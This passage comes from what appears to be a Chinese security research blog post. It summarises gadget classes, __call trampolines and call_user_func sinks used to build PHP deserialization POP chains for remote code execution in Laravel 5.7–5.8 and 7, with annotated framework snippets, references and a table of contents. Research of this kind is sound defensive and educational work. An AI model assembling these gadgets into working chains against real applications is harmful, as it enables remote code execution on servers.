\Symfony\Component\Cache\Adapter\ProxyAdapter::saveDeferred
\Symfony\Component\Cache\Adapter\ProxyAdapter::doSave
-> ($this->setInnerItem)($innerItem, $item);

Magic Method

中间类(Intermediate Class),起衔接和跳板的作用。这里比较好用的是以__call方法为核心的中间类,可能也会有__invoke方法。结合__destruct$this->xxx->yyy($this->zzz)形式,我们便可以调用合适类的__call($method,$args)方法,$method就是yyy$argsyyy函数的参数构成的参数数组,因此我们还需要考虑$method$args的可控性对__call的影响。总结有下面的几个比较好用

适用范围:

必要组件:Symfony/symfony(第四个类)

__call 跳板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1.\Illuminate\View\InvokableComponentVariable
public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}

public function __invoke()
{
return call_user_func($this->callable);//这里又是调用任意类的无参数函数
}

2.\Mockery\HigherOrderMessage
public function __call($method, $args)
{
if ($this->method === 'shouldNotHaveReceived') {
return $this->mock->{$this->method}($method, $args);
}

$expectation = $this->mock->{$this->method}($method); //调用任意类的单参数函数,用LazyOption类的filter方法可以写shell
return $expectation->withArgs($args);
}

3.\Symfony\Component\Cache\Traits\RedisClusterProxy
public function __call(string $method, array $args)
{
$this->redis ?: $this->redis = $this->initializer->__invoke(); //主动调用__invoke,又回到第一个,也可以去找其他的

return $this->redis->{$method}(...$args);
}

__call 非跳板

非跳板即不同找Sink,直接顺着找即可调用到RCE的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Validator这个类比较特殊,即可当跳板,也可直接RCE
4.\Illuminate\Validation\Validator
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));

if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);//5.8版本pop2的链
}
...
}
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];

if (is_callable($callback)) {
// 5.8
return call_user_func_array($callback, $parameters);
// 7
return $callback(...array_values($parameters))
}
}

5.\Illuminate\Support\Manager
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}

Sink

Sink就是触发最后RCE或者其他文件读写操作的点。下面两个Sink的优势是不接受参数(不受传入参数的影响),任意参数可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
1.\PhpOption\LazyOption::option 
//__call可传无、单、双参
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);//任意参数函数
...
}
return $this->option;
}

2.\Illuminate\Auth\RequestGuard::user
//__call只能传无参
public function user()
{
if (! is_null($this->user)) {
return $this->user;
}
return $this->user = call_user_func(
$this->callback, $this->request, $this->getProvider() //双参数函数
);
}

3.\Illuminate\Bus\Dispatcher::dispatchToQueue
//__call传单参
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
...
}

参考

https://www.anquanke.com/post/id/230005#h3-1

https://www.anquanke.com/post/id/189718#h2-7

https://www.anquanke.com/post/id/234532#h2-2

https://xz.aliyun.com/t/5483

https://skysec.top/2020/07/22/Laravel-5-Deserialization-Chain-Summary/#%E9%81%8D%E5%9C%B0%E6%92%92%E7%BD%91

https://skysec.top/2020/07/19/Laravel-Deserialization-Chain-Summary/

https://learnku.com/articles/4684/analysis-of-facade-source-code-of-laravel-frame

CATALOG
  1. 1. 前言
  2. 2. 环境搭建
  3. 3. Laravel 5.7-5.8 pop链
    1. 3.1. 测试页面
    2. 3.2. pop1*
    3. 3.3. pop2
    4. 3.4. pop3
    5. 3.5. pop4(特别)
    6. 3.6. pop5
  4. 4. Laravel 7 pop链
    1. 4.1. 部分修复
    2. 4.2. 复用链
    3. 4.3. pop1
    4. 4.4. pop2
    5. 4.5. pop3
    6. 4.6. pop4
    7. 4.7. pop5
  5. 5. 总结
    1. 5.1. Source
      1. 5.1.1. 配合 __call
      2. 5.1.2. 直接 RCE
    2. 5.2. Magic Method
      1. 5.2.1. __call 跳板
      2. 5.2.2. __call 非跳板
    3. 5.3. Sink
  6. 6. 参考